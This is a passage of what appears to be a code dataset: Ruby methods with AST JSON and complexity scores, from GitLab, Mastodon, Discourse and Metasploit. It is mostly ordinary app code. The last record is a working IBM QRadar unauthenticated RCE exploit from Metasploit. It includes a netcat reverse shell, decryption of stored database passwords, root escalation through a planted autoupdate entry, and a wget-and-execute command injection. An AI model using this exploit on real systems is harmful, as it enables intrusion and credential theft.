2>&1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"encode!\",{\"type\":\"str\",\"children\":[\"ASCII\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"undef\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"Y SO SERIAL?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"abort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"drop_while\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"drop\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\" \"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_list\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ +([^ ]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_list\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"JRMPClient\"]},{\"type\":\"str\",\"children\":[\"JRMPListener\"]}]}]}]}]}","id":"051f3d75-ed2c-4e1c-8fcf-32bbd2674466"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/interactions_measure.rb","start_line":14,"raw_source":"def perform_previous_total_query\n activity_tracker.sum(previous_time_period.first, previous_time_period.last)\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_previous_total_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tracker\"]},\"sum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_time_period\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_time_period\"]},\"last\"]}]}]}","id":"729db33f-db5c-4f44-bc1d-42d1e07c04b3"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/simplecast_onebox.rb","start_line":21,"raw_source":"def placeholder_html\n oembed = get_oembed\n return if oembed.thumbnail_url.blank?\n \"\"\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"placeholder_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oembed\",{\"type\":\"send\",\"children\":[null,\"get_oembed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"thumbnail_url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"0533c610-31f7-4074-a028-87592d37d176"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/projects/blobs_remove.rb","start_line":31,"raw_source":"def resolve(project_path:, blob_oids:)\n project = authorized_find!(project_path)\n\n result = ::Repositories::RewriteHistoryService.new(project, current_user).async_execute(blob_oids: blob_oids)\n\n return { errors: result.errors } if result.error?\n\n { errors: [] }\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwarg\",\"children\":[\"blob_oids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"RewriteHistoryService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"async_execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob_oids\"]},{\"type\":\"lvar\",\"children\":[\"blob_oids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"0d4870a3-0192-4162-89c6-c6f33e159bb6"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/qualys/asset.rb","start_line":56,"raw_source":"def import_qualys_asset_xml(args={}, &block)\n data = args[:data]\n wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name\n bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []\n doc = Nokogiri.XML(data)\n vuln_refs = find_qualys_asset_vuln_refs(doc)\n\n # 2nd pass, actually grab the hosts.\n doc.xpath(\"/ASSET_DATA_REPORT/HOST_LIST/HOST\").each do |host|\n hobj = nil\n addr_el = host.xpath(\"IP\").first\n addr = addr_el.text if addr_el\n next unless validate_ips(addr)\n if bl.include? addr\n next\n else\n yield(:address,addr) if block\n end\n netbios_el = host.xpath(\"NETBIOS\").first\n dns_el = host.xpath(\"DNS\").first\n hname = ( # Prefer NetBIOS over DNS\n (netbios_el.text if netbios_el) ||\n (dns_el.text if dns_el) ||\n \"\" )\n hobj = msf_import_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task])\n report_import_note(wspace,hobj)\n\n os_el = host.xpath(\"OPERATING_SYSTEM\").first\n if os_el\n hos = os_el.text\n msf_import_note(\n :workspace => wspace,\n :task => args[:task],\n :host => hobj,\n :type => 'host.os.qualys_fingerprint',\n :data => { :os => hos }\n )\n end\n\n # Report open ports.\n find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP\n find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP\n\n # Report vulns\n find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block)\n\n end # host\n\n end","complexity_score":80.3,"ast_json":"{\"type\":\"def\",\"children\":[\"import_qualys_asset_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bl\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_ips\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blacklist\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blacklist\"]}]},\"split\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln_refs\",{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_vuln_refs\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"/ASSET_DATA_REPORT/HOST_LIST/HOST\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hobj\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"addr_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"IP\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_el\"]},{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_el\"]},\"text\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_ips\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bl\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"next\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"addr\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"netbios_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"NETBIOS\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dns_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"DNS\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hname\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netbios_el\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netbios_el\"]},\"text\"]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_el\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_el\"]},\"text\"]},null]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hobj\",{\"type\":\"send\",\"children\":[null,\"msf_import_host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"hname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Alive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_import_note\",{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"lvasgn\",\"children\":[\"os_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"OPERATING_SYSTEM\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_el\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_el\"]},\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"msf_import_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"host.os.qualys_fingerprint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os\"]},{\"type\":\"lvar\",\"children\":[\"hos\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_ports\",{\"type\":\"int\",\"children\":[82023]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]},{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_ports\",{\"type\":\"int\",\"children\":[82004]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]},{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_vulns\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"lvar\",\"children\":[\"vuln_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}]}","id":"b7dbf98d-ff7c-4a0e-a4f8-328cbf8ddc7c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/web_hooks/log_execution_worker.rb","start_line":19,"raw_source":"def perform(hook_id, log_data, response_category, _unique_by)\n hook = ::WebHook.find_by_id(hook_id)\n\n return unless hook # hook has been deleted before we could run.\n\n ::WebHooks::LogExecutionService\n .new(hook: hook, log_data: log_data, response_category: response_category.to_sym)\n .execute\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook_id\"]},{\"type\":\"arg\",\"children\":[\"log_data\"]},{\"type\":\"arg\",\"children\":[\"response_category\"]},{\"type\":\"arg\",\"children\":[\"_unique_by\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hook\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebHook\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"hook_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebHooks\"]},\"LogExecutionService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"hook\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_data\"]},{\"type\":\"lvar\",\"children\":[\"log_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_category\"]},\"to_sym\"]}]}]}]},\"execute\"]}]}]}","id":"5f509c4a-d850-4f6b-b9d1-3b67d756181a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/appearance.rb","start_line":71,"raw_source":"def single_appearance_row\n errors.add(:base, _('Only 1 appearances row can exist')) if self.class.any?\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"single_appearance_row\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Only 1 appearances row can exist\"]}]}]},null]}]}","id":"a73175f5-64ea-4a9f-a38d-9acd394b60f9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/middleware.rb","start_line":96,"raw_source":"def resumed?\n job['concurrency_limit_resume'] == true\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resumed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"concurrency_limit_resume\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}","id":"0d03c6f8-412d-42e9-aa56-70647201ccbc"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/changesets/log_time_service.rb","start_line":68,"raw_source":"def log_error(service_result)\n unless service_result.success?\n errors = service_result.errors.full_messages.join(\", \")\n Rails.logger.warn(\"TimeEntry could not be created by changeset #{changeset.id}: #{errors}\")\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TimeEntry could not be created by changeset \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changeset\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}]}]}]}","id":"f4fb1f37-8cc3-40d9-a16f-a316599e4f65"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/experiments.rb","start_line":9,"raw_source":"def class_files_removed?\n (removed_experiments & current_experiments_with_class_files).empty?\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"class_files_removed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"removed_experiments\"]},\"&\",{\"type\":\"send\",\"children\":[null,\"current_experiments_with_class_files\"]}]}]},\"empty?\"]}]}","id":"958c890a-8abd-462d-bebf-4ab79a79e2b4"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb","start_line":139,"raw_source":"def exploit\n print_status(\"#{peer} - Attempting to exploit #{target.name}\")\n\n # run step 1\n set_cookies\n\n # let's prepare step 2 (payload) and 3 (payload exec as root)\n @payload_name = rand_text_alpha_lower(3..5)\n root_payload = rand_text_alpha_lower(3..5)\n\n if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\n srv_host = Rex::Socket.source_address(rhost)\n else\n srv_host = datastore['SRVHOST']\n end\n\n http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s\n service_uri = http_service + '/' + @payload_name\n\n print_status(\"#{peer} - Starting up our web service on #{http_service} ...\")\n start_service({\n 'Uri' => {\n 'Proc' => Proc.new { |cli, req|\n on_request_uri(cli, req)\n },\n 'Path' => \"/#{@payload_name}\"\n }\n })\n\n @payload = %{#!/bin/bash\n\n# our payload that's going to be downloaded from our web server\ncat < /store/configservices/staging/updates/#{root_payload}\n#!/bin/bash\n/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &\nEOF\n\n### below is adapted from /opt/qradar/support/changePasswd.sh\n[ -z $NVA_CONF ] && NVA_CONF=\"/opt/qradar/conf/nva.conf\"\nNVACONF=`grep \"^NVACONF=\" $NVA_CONF 2> /dev/null | cut -d= -f2`\nFRAMEWORKS_PROPERTIES_FILE=\"frameworks.properties\"\nFORENSICS_USER_FILE=\"config_user.xml\"\nFORENSICS_USER_FILE_CONFIG=\"$NVACONF/$FORENSICS_USER_FILE\"\n\n# get the encrypted db password from the config\nPASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\\\w\\\\=\\\\+\\\\/]*)(?=<)'`\n\nQVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')\n\nAU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm\nP_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)\nP_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)\n\nAESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`\n\n#if 7.2.8 or greater, use new method for hashing and salting passwords\nif [[ $QVERSION -gt 727 || -z \"$AESKEY\" ]]\nthen\n PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))\n [ $? != 0 ] && echo \"ERROR: Unable to decrypt $PASSWORDENCRYPTED\" && exit 255\nelse\n\n PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`\n [ $? != 0 ] && echo \"ERROR: Unable to decrypt $PASSWORDENCRYPTED\" && exit 255\nfi\n\nPGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \\\n\"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000) + 100},'minor',false,#{rand(9999) + 100},0,'',1,false,'','','',false)\"\n\n# kill ourselves!\n(sleep 2 && rm -- \"$0\") &\n}\n\n # let's do step 2 then, ask QRadar to download and execute our payload\n print_status(\"#{peer} - Asking QRadar to download and execute #{service_uri}\")\n\n exec_cmd = \"$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O \" +\n \"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && \" +\n \"/bin/bash /store/configservices/staging/updates/#{@payload_name})\"\n\n payload_step2 = \"pcap[0][pcap]\" +\n \"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}\" +\n \"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}\"\n\n uri_step2 = \"/ForensicsAnalysisServlet/?forensicsManagedHostIps\" +\n \"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true\"\n\n res = send_request_cgi({\n 'uri' => uri_step2 + '&' + payload_step2,\n 'method' => 'GET',\n 'cookie' => \"SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};\",\n })\n\n # now we just sit back and wait for step 2 payload to be downloaded and executed\n # ... and then step 3 to complete. Let's give it a little more than a minute.\n Rex.sleep 80\n end","complexity_score":85.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Attempting to exploit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_cookies\"]},{\"type\":\"ivasgn\",\"children\":[\"@payload_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"root_payload\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{